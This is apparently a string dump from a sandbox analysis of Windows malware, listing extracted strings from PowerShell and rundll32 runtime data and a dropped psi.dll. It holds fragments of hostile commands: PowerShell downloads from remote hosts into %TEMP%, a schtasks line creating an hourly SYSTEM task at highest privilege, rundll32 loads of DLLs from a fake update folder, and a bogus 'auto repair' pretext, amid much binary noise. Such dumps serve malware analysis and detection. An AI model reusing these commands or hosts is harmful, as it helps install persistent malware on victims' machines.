/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=m
Unicode based on Runtime Data (powershell.exe )
io.install.finish','%TEMP%\csp4104.tmp')
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=G
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=p
Unicode based on Runtime Data (powershell.exe )
sgo.install.finish','%TEMP%\csp3939.tmp')
Unicode based on Runtime Data (powershell.exe )
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
Unicode based on Runtime Data (powershell.exe )
+ FullyQualifiedErrorId : DotNetMethodException
Unicode based on Runtime Data (powershell.exe )
+ $client = new-object System.Net.WebClient; $client.DownloadFile <<<< ('http:/
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=C
Unicode based on Runtime Data (powershell.exe )
At line:1 char:64
Unicode based on Runtime Data (powershell.exe )
Exception calling "DownloadFile" with "2" argument(s): "The remote server retur
Unicode based on Runtime Data (powershell.exe )
learLog.install.finish','%TEMP%\csp8203.tmp')
Unicode based on Runtime Data (powershell.exe )
ned an error: (500) Internal Server Error."
Unicode based on Runtime Data (powershell.exe )
rasman
Ansi based on Runtime Data (powershell.exe )
RASMAN
Unicode based on Runtime Data (powershell.exe )
%TEMP%\psg256B.tmp')
Unicode based on Runtime Data (powershell.exe )
raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4','
Unicode based on Runtime Data (powershell.exe )
/dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=m
Unicode based on Runtime Data (powershell.exe )
io.4','%TEMP%\csw263B.tmp')
Unicode based on Runtime Data (powershell.exe )
.?AVCAtlException@ATL@@
Ansi based on Dropped File (psi.dll.1283195511)
.\PhysicalDrive%d
Unicode based on Dropped File (psi.dll.1283195511)
013 asdw dwrt aw cctv
Unicode based on Dropped File (psi.dll.1283195511)
<?xml version='1.0' encoding='UTF-8' standalone='yes'?><assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='requireAdministrator' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo></assembly>
Ansi based on Dropped File (psi.dll.1283195511)
[installpathmk]
Ansi based on Dropped File (psi.dll.1283195511)
[uidmk]
Ansi based on Dropped File (psi.dll.1283195511)
[versionmk]
Ansi based on Dropped File (psi.dll.1283195511)
\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Unicode based on Dropped File (psi.dll.1283195511)
AppID
Unicode based on Dropped File (psi.dll.1283195511)
%WINDIR%\
Unicode based on Dropped File (psi.dll.1283195511)
%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe
Unicode based on Dropped File (psi.dll.1283195511)
chtasks /Run /TN
Unicode based on Dropped File (psi.dll.1283195511)
CLSID
Unicode based on Dropped File (psi.dll.1283195511)
cmd /c schtasks /Create /SC HOURLY /MO %d /ST 00:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (psi.dll.1283195511)
cmd.exe /c schtasks /Run /TN
Unicode based on Dropped File (psi.dll.1283195511)
Component Categories
Unicode based on Dropped File (psi.dll.1283195511)
CreateFileA
Ansi based on Dropped File (psi.dll.1283195511)
CURITY
Unicode based on Dropped File (psi.dll.1283195511)
Delete
Unicode based on Dropped File (psi.dll.1283195511)
e /SC HOURLY /MO %d /ST 00:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (psi.dll.1283195511)
E:\code\PsTask\Ps_Install\Release\psi.pdb
Ansi based on Dropped File (psi.dll.1283195511)
ent =
Unicode based on Dropped File (psi.dll.1283195511)
eVersion
Unicode based on Dropped File (psi.dll.1283195511)
Execution
Unicode based on Dropped File (psi.dll.1283195511)
FindResourceExW
Ansi based on Dropped File (psi.dll.1283195511)
ForceRemove
Unicode based on Dropped File (psi.dll.1283195511)
ftware
Unicode based on Dropped File (psi.dll.1283195511)
GetLocalTime
Ansi based on Dropped File (psi.dll.1283195511)
HeapDestroy
Ansi based on Dropped File (psi.dll.1283195511)
Ids\Microsoft.Power
Unicode based on Dropped File (psi.dll.1283195511)
ient.D
Unicode based on Dropped File (psi.dll.1283195511)
ineGuid
Unicode based on Dropped File (psi.dll.1283195511)
Invalid DateTime
Unicode based on Dropped File (psi.dll.1283195511)
ja-JP
Unicode based on Dropped File (psi.dll.1283195511)
nt;$cl
Unicode based on Dropped File (psi.dll.1283195511)
Policy
Unicode based on Dropped File (psi.dll.1283195511)
psgo.
Unicode based on Dropped File (psi.dll.1283195511)
psgo.dll
Unicode based on Dropped File (psi.dll.1283195511)
psi.dll
Ansi based on Dropped File (psi.dll.1283195511)
rdware
Unicode based on Dropped File (psi.dll.1283195511)
RE\Microsoft\Cryptography
Unicode based on Dropped File (psi.dll.1283195511)
RegDeleteValueW
Ansi based on Dropped File (psi.dll.1283195511)
RegEnumValueW
Ansi based on Dropped File (psi.dll.1283195511)
RegNotifyChangeKeyValue
Ansi based on Dropped File (psi.dll.1283195511)
remot
Unicode based on Dropped File (psi.dll.1283195511)
SHDeleteKeyW
Ansi based on Dropped File (psi.dll.1283195511)
Shell
Unicode based on Dropped File (psi.dll.1283195511)
Shell\1\Shell
Unicode based on Dropped File (psi.dll.1283195511)
SOFTWARE\Microsoft\Power
Unicode based on Dropped File (psi.dll.1283195511)
"C:\Updater_20170427_newmm.exe.dll",UPDATE
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\kokoko.dll",Kitty
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\MIO.dll",Help i
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\psi.dll",I
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\SSS.dll",OFO
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\UAC.dll",UUU
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\WinSAP.dll",afxxx -update
Ansi based on Process Commandline (rundll32.exe)
ConsentPromptBehaviorAdmin
Unicode based on Runtime Data (rundll32.exe )
ExecutionPolicy
Unicode based on Runtime Data (rundll32.exe )
remotesigned
Unicode based on Runtime Data (rundll32.exe )
Program Files
Unicode based on Runtime Data (rundll32.exe )
z@???{?R@?}F?
Ansi based on Runtime Data (rundll32.exe )
?}????f?I
Ansi based on Runtime Data (rundll32.exe )
)?q??|?9?%&H???4|??c
Ansi based on Runtime Data (rundll32.exe )
_?3?H?\$8H?? _?H??|
Ansi based on Runtime Data (rundll32.exe )
not enough space for locale information
Unicode based on Runtime Data (rundll32.exe )
Request SystemTraceProvider rundown directed at [LoggerName] session
Unicode based on Runtime Data (rundll32.exe )
sqlite_master WHERE type='index' AND name NOT LIKE 'sqlite_%' UNION ALL SELECT name FROM sqlite_temp_master WHERE type='index' ORDER BY 1
Ansi based on Runtime Data (rundll32.exe )
!??,??
Ansi based on Runtime Data (rundll32.exe )
"d?[??lt_
Ansi based on Runtime Data (rundll32.exe )
#:???MF?]?F????4?%G?]L??E?g
Ansi based on Runtime Data (rundll32.exe )
#?.?o
Ansi based on Runtime Data (rundll32.exe )
#This program will run on a regular basis, #when the detection of SZJ_BUG on your computer #will automatically download and execute the repair process#####2015.3-2018.9 auto repair##from ZhiHuiDePianZi Company##OS >= windows 7###re
Ansi based on Runtime Data (rundll32.exe )
$?????$???;?d???
Ansi based on Runtime Data (rundll32.exe )
$?W?N_"??
Ansi based on Runtime Data (rundll32.exe )
&c}????G ?d
Ansi based on Runtime Data (rundll32.exe )
*???F?'01J???B`
Ansi based on Runtime Data (rundll32.exe )
*g?Iv?&v?F?y_???*??{?xt4???
Ansi based on Runtime Data (rundll32.exe )
+??<?
Ansi based on Runtime Data (rundll32.exe )
.??0Y7~?mp?H?_|6(??'>
Ansi based on Runtime Data (rundll32.exe )
/$???
Ansi based on Runtime Data (rundll32.exe )
/?7Z?9??????.?Z?q
Ansi based on Runtime Data (rundll32.exe )
0??4\?#@?:4?
Ansi based on Runtime Data (rundll32.exe )
0?x?O?r?
Ansi based on Runtime Data (rundll32.exe )
2?6@U`??
Ansi based on Runtime Data (rundll32.exe )
3845769084375983_4759687_340857603948756098743508674390857_6904357_60938459
Unicode based on Runtime Data (rundll32.exe )
3??vP?
Ansi based on Runtime Data (rundll32.exe )
4?o???1??2
Ansi based on Runtime Data (rundll32.exe )
5?k?,?
Ansi based on Runtime Data (rundll32.exe )
5?7~?f?:
Ansi based on Runtime Data (rundll32.exe )
6?%????e?
Ansi based on Runtime Data (rundll32.exe )
6??Z?9?Z?9?Z?9?Z?<
Ansi based on Runtime Data (rundll32.exe )
6g?J6?B?^y?
Ansi based on Runtime Data (rundll32.exe )
7??????S%b?$
Ansi based on Runtime Data (rundll32.exe )
7???Ya:F?I?E??{
Ansi based on Runtime Data (rundll32.exe )
8.|a>
Ansi based on Runtime Data (rundll32.exe )
8??x$;??
Ansi based on Runtime Data (rundll32.exe )
9??5^9????
Ansi based on Runtime Data (rundll32.exe )
9zr?AX
Ansi based on Runtime Data (rundll32.exe )
<?L?S?*????
Ansi based on Runtime Data (rundll32.exe )
??U[?M 3?FOl?zuj?
Ansi based on Runtime Data (rundll32.exe )
?r???p???U??
Ansi based on Runtime Data (rundll32.exe )
?!??5??U?,l%?????[
Ansi based on Runtime Data (rundll32.exe )
?!??9?ZD9?Z?9?Z?!??9?Z69?Z?9?Z?!??9?Z
Ansi based on Runtime Data (rundll32.exe )
?"?H?#/[??Xo
Ansi based on Runtime Data (rundll32.exe )
?"iv??????0?
Ansi based on Runtime Data (rundll32.exe )
?#y?g
Ansi based on Runtime Data (rundll32.exe )
?%?@_??{??EP*???p?tk????Qvy?"
Ansi based on Runtime Data (rundll32.exe )
?)?????
Ansi based on Runtime Data (rundll32.exe )
?)??g?M
Ansi based on Runtime Data (rundll32.exe )
?+1?(?L?=?k?j?8?
Ansi based on Runtime Data (rundll32.exe )
?+L????????? L????P????
Ansi based on Runtime Data (rundll32.exe )
?,V{?"q?
Ansi based on Runtime Data (rundll32.exe )
?-?!r??v?Cu2?M
Ansi based on Runtime Data (rundll32.exe )
?.?Z???ZV??Z?w?Z??ZY?t??.?Z???ZV??Z?w?Z6?ZY?t??+?Z???ZV??Z?w?Z
Ansi based on Runtime Data (rundll32.exe )
?1?I???o???
Ansi based on Runtime Data (rundll32.exe )
?2?2?2?2?2?2?2?2?2?2?2
Ansi based on Runtime Data (rundll32.exe )
?2?i????
Ansi based on Runtime Data (rundll32.exe )
?4?&+?
Ansi based on Runtime Data (rundll32.exe )
?4?c)???g~?0!??
Ansi based on Runtime Data (rundll32.exe )
?94?N
Ansi based on Runtime Data (rundll32.exe )
?9??*
Ansi based on Runtime Data (rundll32.exe )
?9?i?????t
Ansi based on Runtime Data (rundll32.exe )
?9?Z6?
Ansi based on Runtime Data (rundll32.exe )
?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z
Ansi based on Runtime Data (rundll32.exe )
?;?;?;?;#<+<4<=<_<h<n<t<?<?<?<?<?<?<?<?<?<
Ansi based on Runtime Data (rundll32.exe )
?<{||?????I????F
Ansi based on Runtime Data (rundll32.exe )
?=?=?=?=?>?>?>
Ansi based on Runtime Data (rundll32.exe )
?=]?A?6??:?
Ansi based on Runtime Data (rundll32.exe )
??"ru>3!?t?2??C
Ansi based on Runtime Data (rundll32.exe )
??#?d
Ansi based on Runtime Data (rundll32.exe )
??%?4??y?SM5hJ?&_
Ansi based on Runtime Data (rundll32.exe )
??%??
Ansi based on Runtime Data (rundll32.exe )
??'??????j??}?3?8
Ansi based on Runtime Data (rundll32.exe )
??(%?Z?
Ansi based on Runtime Data (rundll32.exe )
??(r@??
Ansi based on Runtime Data (rundll32.exe )
??,;?0h]?>^ ??2?V?T?A??
Ansi based on Runtime Data (rundll32.exe )
??.???,H
Ansi based on Runtime Data (rundll32.exe )
??/]hE
Ansi based on Runtime Data (rundll32.exe )
??3?2?-?w?
Ansi based on Runtime Data (rundll32.exe )
??3??????z?P?0qh???Rt?
Ansi based on Runtime Data (rundll32.exe )
??5?q#1~?????e*
Ansi based on Runtime Data (rundll32.exe )
??8?5?Yj??????]%
Ansi based on Runtime Data (rundll32.exe )
??9??
Ansi based on Runtime Data (rundll32.exe )
??;?W??,??
Ansi based on Runtime Data (rundll32.exe )
??<???????9~
Ansi based on Runtime Data (rundll32.exe )
???"??9??
Ansi based on Runtime Data (rundll32.exe )
???+!0???2??A???b?Q??
Ansi based on Runtime Data (rundll32.exe )
???-|W???
Ansi based on Runtime Data (rundll32.exe )
???.o
Ansi based on Runtime Data (rundll32.exe )
???1?????4????
Ansi based on Runtime Data (rundll32.exe )
???=r??
Ansi based on Runtime Data (rundll32.exe )
????+???PjP?M?Q?,?
Ansi based on Runtime Data (rundll32.exe )
?????
Ansi based on Runtime Data (rundll32.exe )
?????;:??C!
Ansi based on Runtime Data (rundll32.exe )
??????
Ansi based on Runtime Data (rundll32.exe )
??????5?$
Ansi based on Runtime Data (rundll32.exe )
????????????/????????????
Ansi based on Runtime Data (rundll32.exe )
????????????????????????
Ansi based on Runtime Data (rundll32.exe )
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
Ansi based on Runtime Data (rundll32.exe )
????????????????V?D$
Ansi based on Runtime Data (rundll32.exe )
???????Au??????At
Ansi based on Runtime Data (rundll32.exe )
??????S$[?
Ansi based on Runtime Data (rundll32.exe )
?????CP?IR^
Ansi based on Runtime Data (rundll32.exe )
?????E?
Ansi based on Runtime Data (rundll32.exe )
?????I?2??>m~
Ansi based on Runtime Data (rundll32.exe )
?????r}?{?
Ansi based on Runtime Data (rundll32.exe )
?????{??
Ansi based on Runtime Data (rundll32.exe )
????[*t???3?wV?}?ShI]??A???t)?
Ansi based on Runtime Data (rundll32.exe )
????a??)?=?S&?
Ansi based on Runtime Data (rundll32.exe )
????E?U?E?U?
Ansi based on Runtime Data (rundll32.exe )
????f?Y)?\m?q?<????G???Q
Ansi based on Runtime Data (rundll32.exe )
????G
Ansi based on Runtime Data (rundll32.exe )
????O??
Ansi based on Runtime Data (rundll32.exe )
????W!?aSZbB*s????)1c=h
Ansi based on Runtime Data (rundll32.exe )
????X?????X?????
Ansi based on Runtime Data (rundll32.exe )
????YY??uw??0???????(???PWPt
Ansi based on Runtime Data (rundll32.exe )
????Z??U?gA?Af$?3?
Ansi based on Runtime Data (rundll32.exe )
???]?9iA
Ansi based on Runtime Data (rundll32.exe )
???^t?"[1? ?<
Ansi based on Runtime Data (rundll32.exe )
???A??*?;S?
Ansi based on Runtime Data (rundll32.exe )
???f;?
Ansi based on Runtime Data (rundll32.exe )
???H????
Ansi based on Runtime Data (rundll32.exe )
???i?}
Ansi based on Runtime Data (rundll32.exe )
???j<???m
Ansi based on Runtime Data (rundll32.exe )
???n?f
Ansi based on Runtime Data (rundll32.exe )
???P??|?????<???j ?J
Ansi based on Runtime Data (rundll32.exe )
???Q?0p?H?{?e?J??<
Ansi based on Runtime Data (rundll32.exe )
???Qg??~?q
Ansi based on Runtime Data (rundll32.exe )
???R?
Ansi based on Runtime Data (rundll32.exe )
???t????Jm?^TO?
Ansi based on Runtime Data (rundll32.exe )
???Y?jtO?Ja|w?Y?t??9?ZM
Ansi based on Runtime Data (rundll32.exe )
???Z%Y?Z%\
Ansi based on Runtime Data (rundll32.exe )
???z&??L??n@?
Ansi based on Runtime Data (rundll32.exe )
???{??
Ansi based on Runtime Data (rundll32.exe )
??]8#?? ?
Ansi based on Runtime Data (rundll32.exe )
??]??U??Q?H
Ansi based on Runtime Data (rundll32.exe )
??_???a??
Ansi based on Runtime Data (rundll32.exe )
??c_??eee???|?`??c#?Cz??
Ansi based on Runtime Data (rundll32.exe )
??G???uE?`?N?\Fe????fe#%@8?"??
Ansi based on Runtime Data (rundll32.exe )
??H?%'?L??f?7QL??(E0?{?w?~??
Ansi based on Runtime Data (rundll32.exe )
??H???&?H?
Ansi based on Runtime Data (rundll32.exe )
??J?9?Z??J?9?Z??J
Ansi based on Runtime Data (rundll32.exe )
??J???H??B??=???7???1u?+V?*4??-
Ansi based on Runtime Data (rundll32.exe )
??J@=????)*+??
Ansi based on Runtime Data (rundll32.exe )
??jhV?%3x??4h?
Ansi based on Runtime Data (rundll32.exe )
??M?d?
Ansi based on Runtime Data (rundll32.exe )
??O??
Ansi based on Runtime Data (rundll32.exe )
??O????,_>A
Ansi based on Runtime Data (rundll32.exe )
??o?L?
Ansi based on Runtime Data (rundll32.exe )
??ph?a???YH
Ansi based on Runtime Data (rundll32.exe )
??q$???^:?
Ansi based on Runtime Data (rundll32.exe )
??R^??2???s?
Ansi based on Runtime Data (rundll32.exe )
??RPWQ?X
Ansi based on Runtime Data (rundll32.exe )
??S?Fd?????6?&Rb
Ansi based on Runtime Data (rundll32.exe )
??t7Z
Ansi based on Runtime Data (rundll32.exe )
??u?_f??^]?U???D
Ansi based on Runtime Data (rundll32.exe )
??u?z?????
Ansi based on Runtime Data (rundll32.exe )
??X?,
Ansi based on Runtime Data (rundll32.exe )
??Z?e?Z??Z4??Zf]?Z
Ansi based on Runtime Data (rundll32.exe )
??~?q
Ansi based on Runtime Data (rundll32.exe )
?@??.d
Ansi based on Runtime Data (rundll32.exe )
?[????
Ansi based on Runtime Data (rundll32.exe )
?[?????]?U??Q?M?E?@
Ansi based on Runtime Data (rundll32.exe )
?a??*?u4?A???O?!?YJK?U?i
Ansi based on Runtime Data (rundll32.exe )
?C7??%?Y??j#5E?Z?9?Z?9?Z?9?Ze?aI?q
Ansi based on Runtime Data (rundll32.exe )
?C??3?????beH?p?
Ansi based on Runtime Data (rundll32.exe )
?e?7?=u?o
Ansi based on Runtime Data (rundll32.exe )
?E???
Ansi based on Runtime Data (rundll32.exe )
?E??z~
Ansi based on Runtime Data (rundll32.exe )
?f3???z????v\?E(?
Ansi based on Runtime Data (rundll32.exe )
?I3f??B??+?
Ansi based on Runtime Data (rundll32.exe )
?I??:|?i?????T%
Ansi based on Runtime Data (rundll32.exe )
?I?`???hg
Ansi based on Runtime Data (rundll32.exe )
?J?X??oXpJ?iH?D?\????
Ansi based on Runtime Data (rundll32.exe )
?j[P?'?????
Ansi based on Runtime Data (rundll32.exe )
?JD?E
Ansi based on Runtime Data (rundll32.exe )
?L?????
Ansi based on Runtime Data (rundll32.exe )
?l????????
Ansi based on Runtime Data (rundll32.exe )
?M?3???~
Ansi based on Runtime Data (rundll32.exe )
?M??hV???M
Ansi based on Runtime Data (rundll32.exe )
?M??}?
Ansi based on Runtime Data (rundll32.exe )
?M?L?D$pL?I
Ansi based on Runtime Data (rundll32.exe )
?mB???aa?
Ansi based on Runtime Data (rundll32.exe )
?MT??
Ansi based on Runtime Data (rundll32.exe )
?mx?p$
Ansi based on Runtime Data (rundll32.exe )
?M}?vjY?
Ansi based on Runtime Data (rundll32.exe )
?n?do?>h??
Ansi based on Runtime Data (rundll32.exe )
?O??c??~&@??O??]?W?
Ansi based on Runtime Data (rundll32.exe )
?P?)?????
Ansi based on Runtime Data (rundll32.exe )
?P?9}????
Ansi based on Runtime Data (rundll32.exe )
?PWV?
Ansi based on Runtime Data (rundll32.exe )
?S?0????Q?[?9c?9??b%
Ansi based on Runtime Data (rundll32.exe )
?t??$?H?
Ansi based on Runtime Data (rundll32.exe )
?T?O?:?u
Ansi based on Runtime Data (rundll32.exe )
?U?=s????
Ansi based on Runtime Data (rundll32.exe )
?Y????
Ansi based on Runtime Data (rundll32.exe )
?Y??mP????#???!-?H?2??5
Ansi based on Runtime Data (rundll32.exe )
?y?s??W???c?Q#?0z?pw/
Ansi based on Runtime Data (rundll32.exe )
?{P?vl?/?~?o4vjs1Z?4
Ansi based on Runtime Data (rundll32.exe )
[?^#8
Ansi based on Runtime Data (rundll32.exe )
\??^?7??0Q\G?@u?P?TS?1d?
Ansi based on Runtime Data (rundll32.exe )
\Sessions\1\Windows\ApiPort
Unicode based on Runtime Data (rundll32.exe )
\ThemeApiPort
Unicode based on Runtime Data (rundll32.exe )
^C????
Ansi based on Runtime Data (rundll32.exe )
_^[]?U??M
Ansi based on Runtime Data (rundll32.exe )
`???mQ5
Ansi based on Runtime Data (rundll32.exe )
`\??\Volume{8177f4e4-b53f-11e4-a9c2-806e6f6e6963}
Unicode based on Runtime Data (rundll32.exe )
`\??\Volume{8177f4e5-b53f-11e4-a9c2-806e6f6e6963}
Unicode based on Runtime Data (rundll32.exe )
`ML?-*
Ansi based on Runtime Data (rundll32.exe )
a!?R?A
Ansi based on Runtime Data (rundll32.exe )
AlwaysShowExt
Unicode based on Runtime Data (rundll32.exe )
anish-guatemala
Unicode based on Runtime Data (rundll32.exe )
AppData
Unicode based on Runtime Data (rundll32.exe )
AppendPath
Unicode based on Runtime Data (rundll32.exe )
Attributes
Unicode based on Runtime Data (rundll32.exe )
AuthenticodeEnabled
Unicode based on Runtime Data (rundll32.exe )
AutoCheckSelect
Unicode based on Runtime Data (rundll32.exe )
AutoDetect
Unicode based on Runtime Data (rundll32.exe )
aUY?~?S|
Ansi based on Runtime Data (rundll32.exe )
AX6P??
Ansi based on Runtime Data (rundll32.exe )
B???k
Ansi based on Runtime Data (rundll32.exe )
be-BY
Unicode based on Runtime Data (rundll32.exe )
bo7?*\)
Ansi based on Runtime Data (rundll32.exe )
BrowseInPlace
Unicode based on Runtime Data (rundll32.exe )
BZ?#\?7??]?58?c??
Ansi based on Runtime Data (rundll32.exe )
%WINDIR%\system32\apphelp.dll
Unicode based on Runtime Data (rundll32.exe )
Cache
Unicode based on Runtime Data (rundll32.exe )
CallForAttributes
Unicode based on Runtime Data (rundll32.exe )
Category
Unicode based on Runtime Data (rundll32.exe )
CEIPEnable
Unicode based on Runtime Data (rundll32.exe )
Com+Enabled
Unicode based on Runtime Data (rundll32.exe )
command
Unicode based on Runtime Data (rundll32.exe )
ComputerName
Unicode based on Runtime Data (rundll32.exe )
Content Type
Unicode based on Runtime Data (rundll32.exe )
Cookies
Unicode based on Runtime Data (rundll32.exe )
CPK.exe
Unicode based on Runtime Data (rundll32.exe )
CreateUriCacheSize
Unicode based on Runtime Data (rundll32.exe )
CWDIllegalInDLLSearch
Unicode based on Runtime Data (rundll32.exe )
d????_tO?{?Tg?
Ansi based on Runtime Data (rundll32.exe )
DebugHeapFlags
Unicode based on Runtime Data (rundll32.exe )
DelegateExecute
Unicode based on Runtime Data (rundll32.exe )
Description
Unicode based on Runtime Data (rundll32.exe )
Desktop
Unicode based on Runtime Data (rundll32.exe )
DevicePath
Unicode based on Runtime Data (rundll32.exe )
Disable
Unicode based on Runtime Data (rundll32.exe )
DisableImprovedZoneCheck
Unicode based on Runtime Data (rundll32.exe )
DisableLocalOverride
Unicode based on Runtime Data (rundll32.exe )
DisableMetaFiles
Unicode based on Runtime Data (rundll32.exe )
DisableSecuritySettingsCheck
Unicode based on Runtime Data (rundll32.exe )
DisableUserModeCallbackFilter
Unicode based on Runtime Data (rundll32.exe )
DocObject
Unicode based on Runtime Data (rundll32.exe )
DontPrettyPath
Unicode based on Runtime Data (rundll32.exe )
DriveMask
Unicode based on Runtime Data (rundll32.exe )
E??????u?
Ansi based on Runtime Data (rundll32.exe )
E??E???u
Ansi based on Runtime Data (rundll32.exe )
E??u0?A?
Ansi based on Runtime Data (rundll32.exe )
E?E?M?+M?M?U?E??P?
Ansi based on Runtime Data (rundll32.exe )
en-US
Unicode based on Runtime Data (rundll32.exe )
EnablePunycode
Unicode based on Runtime Data (rundll32.exe )
F0_68D4BF001DAA$C__D074D0C0C7484E73B56CCBE982E1B36C>2TARGETDIRDefaultFeature_4F7C52A1359542BDA50BB0AB1C55EC36{0AC13018-8CAB-1980-CE61-24A7329F7A42}C__4F7C52A1359542BDA50BB0AB1C55EC3610334.0.2.1SNARE64.DLL|Snare64.dll{30028030-F7D9-5AE0-0739-61B1B907CF28}C__D07
Ansi based on Runtime Data (rundll32.exe )
Filter
Unicode based on Runtime Data (rundll32.exe )
Flags
Unicode based on Runtime Data (rundll32.exe )
FolderTypeID
Unicode based on Runtime Data (rundll32.exe )
Fr8x??
Ansi based on Runtime Data (rundll32.exe )
function_call@std@@
Ansi based on Runtime Data (rundll32.exe )
G?4???^Y
Ansi based on Runtime Data (rundll32.exe )
g?9???.>?Q???
Ansi based on Runtime Data (rundll32.exe )
g??&??????
Ansi based on Runtime Data (rundll32.exe )
g??; #j??j?,?0k ??3???
Ansi based on Runtime Data (rundll32.exe )
G???$??#?X??B/5??????^?+s??oI&?<??8<???|Y
Ansi based on Runtime Data (rundll32.exe )
Generation
Unicode based on Runtime Data (rundll32.exe )
h???8?n?:????
Ansi based on Runtime Data (rundll32.exe )
HasNavigationEnum
Unicode based on Runtime Data (rundll32.exe )
Hidden
Unicode based on Runtime Data (rundll32.exe )
HideFileExt
Unicode based on Runtime Data (rundll32.exe )
HideFolderVerbs
Unicode based on Runtime Data (rundll32.exe )
HideIcons
Unicode based on Runtime Data (rundll32.exe )
HideInWebView
Unicode based on Runtime Data (rundll32.exe )
HideOnDesktopPerUser
Unicode based on Runtime Data (rundll32.exe )
I??z#??~?^??3<?A??s
Ansi based on Runtime Data (rundll32.exe )
IconsOnly
Unicode based on Runtime Data (rundll32.exe )
if (chrome.management) { chrome.runtime.onMessageExternal.addListener( function(message, sender, sendResponse) { function doSendResponse(value, errorString) { var error = null; if (errorString) { error =
Ansi based on Runtime Data (rundll32.exe )
InfoTip
Unicode based on Runtime Data (rundll32.exe )
InitFolderHandler
Unicode based on Runtime Data (rundll32.exe )
InprocServer32
Unicode based on Runtime Data (rundll32.exe )
IntranetName
Unicode based on Runtime Data (rundll32.exe )
IoInit
Unicode based on Runtime Data (rundll32.exe )
IsShortcut
Unicode based on Runtime Data (rundll32.exe )
ityObject
Ansi based on Runtime Data (rundll32.exe )
J?h?(?iJ?????9h????m?X???e?LJ??mY????8??0
Ansi based on Runtime Data (rundll32.exe )
key_check
Ansi based on Runtime Data (rundll32.exe )
kj?O!?2`?%9$?7?F??2?n%?????
Ansi based on Runtime Data (rundll32.exe )
L4d4l4t4|4?4?4?4?4?4?4?4?4
Ansi based on Runtime Data (rundll32.exe )
l:?,^4S??#?~
Ansi based on Runtime Data (rundll32.exe )
L??t9?
Ansi based on Runtime Data (rundll32.exe )
Lc???f.?????
Ansi based on Runtime Data (rundll32.exe )
LdapClientIntegrity
Unicode based on Runtime Data (rundll32.exe )
LoadAppInit_DLLs
Unicode based on Runtime Data (rundll32.exe )
LoadWithoutCOM
Unicode based on Runtime Data (rundll32.exe )
LocalizedName
Unicode based on Runtime Data (rundll32.exe )
LocalRedirectOnly
Unicode based on Runtime Data (rundll32.exe )
m ??}F
Ansi based on Runtime Data (rundll32.exe )
m???6???mO
Ansi based on Runtime Data (rundll32.exe )
M??t5
Ansi based on Runtime Data (rundll32.exe )
M?DoN????k^S?{???5
Ansi based on Runtime Data (rundll32.exe )
MachinePreferredUILanguages
Unicode based on Runtime Data (rundll32.exe )
MapNetDriveVerbs
Unicode based on Runtime Data (rundll32.exe )
MapNetDrvBtn
Unicode based on Runtime Data (rundll32.exe )
MartaExtension
Unicode based on Runtime Data (rundll32.exe )
MaximizeApps
Unicode based on Runtime Data (rundll32.exe )
MaxRpcSize
Unicode based on Runtime Data (rundll32.exe )
MaxSxSHashCount
Unicode based on Runtime Data (rundll32.exe )
msiexec.exe
Unicode based on Runtime Data (rundll32.exe )
N?????$??~6????\?$?
Ansi based on Runtime Data (rundll32.exe )
nd install must abort.ListBoxA positive integer used to determine the ordering of the items within one list..The integers do not have to be consecutive.A named property to be tied to this item. All the items tied to the same property become part of the same li
Ansi based on Runtime Data (rundll32.exe )
NeverShowExt
Unicode based on Runtime Data (rundll32.exe )
nH_?nL?nT][??
Ansi based on Runtime Data (rundll32.exe )
NI{?????
Ansi based on Runtime Data (rundll32.exe )
NoFileFolderJunction
Unicode based on Runtime Data (rundll32.exe )
NoNetCrawling
Unicode based on Runtime Data (rundll32.exe )
NoWorkingDirectory
Unicode based on Runtime Data (rundll32.exe )
O?2?U
Ansi based on Runtime Data (rundll32.exe )
o??{?B)??
Ansi based on Runtime Data (rundll32.exe )
O?d?1K
Ansi based on Runtime Data (rundll32.exe )
OOBEInProgress
Unicode based on Runtime Data (rundll32.exe )
P8?????TAY??>?????????z?I??(|q?D??K?@?
Ansi based on Runtime Data (rundll32.exe )
P?KP?*???
Ansi based on Runtime Data (rundll32.exe )
p?Q?3???R???R??n?X?
Ansi based on Runtime Data (rundll32.exe )
PageAllocatorSystemHeapIsPrivate
Unicode based on Runtime Data (rundll32.exe )
PageAllocatorUseSystemHeap
Unicode based on Runtime Data (rundll32.exe )
ParentFolder
